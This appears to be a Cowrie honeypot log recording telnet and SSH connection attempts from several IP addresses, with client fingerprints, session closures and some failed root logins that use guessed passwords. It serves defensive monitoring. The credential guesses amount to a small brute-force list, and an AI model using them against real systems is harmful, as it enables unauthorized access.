{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":47270,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bae11739a0","protocol":"telnet","message":"New connection: 174.138.46.234:47270 (159.203.135.109:23) [session: 20bae11739a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:17.987977Z"}
{"eventid":"cowrie.session.closed","duration":5.990662336349487,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:18.251315Z","src_ip":"174.138.46.234","session":"1d85441a500a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.8640716075897217,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:19.851947Z","src_ip":"174.138.46.234","session":"20bae11739a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.669437408447266,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:24.089181Z","src_ip":"64.227.101.30","session":"4a38b6995152","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.47665452957153,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:25.524611Z","src_ip":"68.183.198.12","session":"94b20dbae4cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6fc57cf4de","protocol":"telnet","message":"New connection: 68.183.198.12:56814 (159.203.135.109:23) [session: 8e6fc57cf4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:26.358509Z"}
{"eventid":"cowrie.session.connect","src_ip":"93.123.109.28","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4656624c2d0","protocol":"ssh","message":"New connection: 93.123.109.28:36222 (10.17.0.5:22) [session: e4656624c2d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:26.872914Z"}
{"eventid":"cowrie.session.connect","src_ip":"93.123.109.28","src_port":41392,"dst_ip":"10.17.0.5","dst_port":23,"session":"281c2911a7b1","protocol":"telnet","message":"New connection: 93.123.109.28:41392 (10.17.0.5:23) [session: 281c2911a7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:26.878338Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"6852b9d82d36","protocol":"telnet","message":"New connection: 68.183.198.12:57074 (159.203.135.109:23) [session: 6852b9d82d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:28.357181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8","message":"Remote SSH version: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:28.841496Z","src_ip":"93.123.109.28","session":"e4656624c2d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:28.846174Z","src_ip":"93.123.109.28","session":"e4656624c2d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":21522,"dst_ip":"10.17.0.5","dst_port":22,"session":"efa806bdd426","protocol":"ssh","message":"New connection: 49.247.36.49:21522 (10.17.0.5:22) [session: efa806bdd426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:31.132622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:31.137086Z","src_ip":"49.247.36.49","session":"efa806bdd426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:31.345539Z","src_ip":"49.247.36.49","session":"efa806bdd426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025!","message":"login attempt [root/Server2025!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:32.213498Z","src_ip":"49.247.36.49","session":"efa806bdd426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:33.424617Z","src_ip":"49.247.36.49","session":"efa806bdd426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52844,"dst_ip":"159.203.135.109","dst_port":23,"session":"c293e1b96a01","protocol":"telnet","message":"New connection: 174.138.46.234:52844 (159.203.135.109:23) [session: c293e1b96a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:34.487438Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53162,"dst_ip":"159.203.135.109","dst_port":23,"session":"c637d1d6e7b4","protocol":"telnet","message":"New connection: 174.138.46.234:53162 (159.203.135.109:23) [session: c637d1d6e7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:35.722025Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":39216,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11f2ce0e261","protocol":"ssh","message":"New connection: 216.155.93.75:39216 (10.17.0.5:22) [session: d11f2ce0e261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:36.111263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:36.115950Z","src_ip":"216.155.93.75","session":"d11f2ce0e261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:36.272298Z","src_ip":"216.155.93.75","session":"d11f2ce0e261","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kaka1234","message":"login attempt [root/kaka1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:36.923632Z","src_ip":"216.155.93.75","session":"d11f2ce0e261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:38.081916Z","src_ip":"216.155.93.75","session":"d11f2ce0e261","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":53120,"dst_ip":"159.203.135.109","dst_port":23,"session":"382a75525178","protocol":"telnet","message":"New connection: 174.138.46.234:53120 (159.203.135.109:23) [session: 382a75525178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:38.558070Z"}
{"eventid":"cowrie.session.closed","duration":11.970508813858032,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:38.848768Z","src_ip":"93.123.109.28","session":"281c2911a7b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.4","message":"Connection lost after 13.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:40.268741Z","src_ip":"93.123.109.28","session":"e4656624c2d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.935647964477539,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:41.657573Z","src_ip":"174.138.46.234","session":"c637d1d6e7b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.014202117919922,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:42.572191Z","src_ip":"174.138.46.234","session":"382a75525178","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.941365003585815,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:43.428697Z","src_ip":"174.138.46.234","session":"c293e1b96a01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.95227885246277,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:57:59.167029Z","src_ip":"174.138.46.234","session":"926dc5256059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7eb69c2ec108","protocol":"telnet","message":"New connection: 64.227.101.30:45630 (10.17.0.5:23) [session: 7eb69c2ec108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:02.360665Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":37178,"dst_ip":"159.203.135.109","dst_port":23,"session":"fada35f879f6","protocol":"telnet","message":"New connection: 67.23.227.170:37178 (159.203.135.109:23) [session: fada35f879f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:05.001509Z"}
{"eventid":"cowrie.session.closed","duration":43.13106060028076,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:09.489471Z","src_ip":"68.183.198.12","session":"8e6fc57cf4de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.313971519470215,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:12.671048Z","src_ip":"68.183.198.12","session":"6852b9d82d36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57348,"dst_ip":"10.17.0.5","dst_port":23,"session":"eccd9de64166","protocol":"telnet","message":"New connection: 64.227.101.30:57348 (10.17.0.5:23) [session: eccd9de64166]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:30.052482Z"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":37414,"dst_ip":"159.203.135.109","dst_port":23,"session":"467f6467f42f","protocol":"telnet","message":"New connection: 67.23.227.170:37414 (159.203.135.109:23) [session: 467f6467f42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:37.641413Z"}
{"eventid":"cowrie.session.closed","duration":0.0073757171630859375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:37.648650Z","src_ip":"67.23.227.170","session":"467f6467f42f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":20491,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a74f210c94","protocol":"ssh","message":"New connection: 49.247.36.49:20491 (10.17.0.5:22) [session: 70a74f210c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:37.836344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:37.841135Z","src_ip":"49.247.36.49","session":"70a74f210c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:38.045841Z","src_ip":"49.247.36.49","session":"70a74f210c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"z1x2c3v4","message":"login attempt [root/z1x2c3v4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:38.934454Z","src_ip":"49.247.36.49","session":"70a74f210c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:40.141641Z","src_ip":"49.247.36.49","session":"70a74f210c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":47683,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa97824d6ffc","protocol":"ssh","message":"New connection: 216.155.93.75:47683 (10.17.0.5:22) [session: fa97824d6ffc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:42.044284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:42.047570Z","src_ip":"216.155.93.75","session":"fa97824d6ffc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:42.199694Z","src_ip":"216.155.93.75","session":"fa97824d6ffc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1!2@3#4$","message":"login attempt [root/1!2@3#4$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:42.839617Z","src_ip":"216.155.93.75","session":"fa97824d6ffc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.28516173362732,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:43.645696Z","src_ip":"64.227.101.30","session":"7eb69c2ec108","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:43.994517Z","src_ip":"216.155.93.75","session":"fa97824d6ffc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":41666,"dst_ip":"159.203.135.109","dst_port":23,"session":"53810ee891c0","protocol":"telnet","message":"New connection: 67.23.227.170:41666 (159.203.135.109:23) [session: 53810ee891c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:51.278646Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41922,"dst_ip":"10.17.0.5","dst_port":23,"session":"7df4c27e84e0","protocol":"telnet","message":"New connection: 64.227.101.30:41922 (10.17.0.5:23) [session: 7df4c27e84e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:51.521198Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41368,"dst_ip":"10.17.0.5","dst_port":23,"session":"619d60a66c6e","protocol":"telnet","message":"New connection: 64.227.101.30:41368 (10.17.0.5:23) [session: 619d60a66c6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:53.512529Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44680,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb86840225d1","protocol":"telnet","message":"New connection: 64.227.101.30:44680 (10.17.0.5:23) [session: eb86840225d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:57.085554Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44198,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d8d4c1ed157","protocol":"telnet","message":"New connection: 64.227.101.30:44198 (10.17.0.5:23) [session: 5d8d4c1ed157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:58:57.090081Z"}
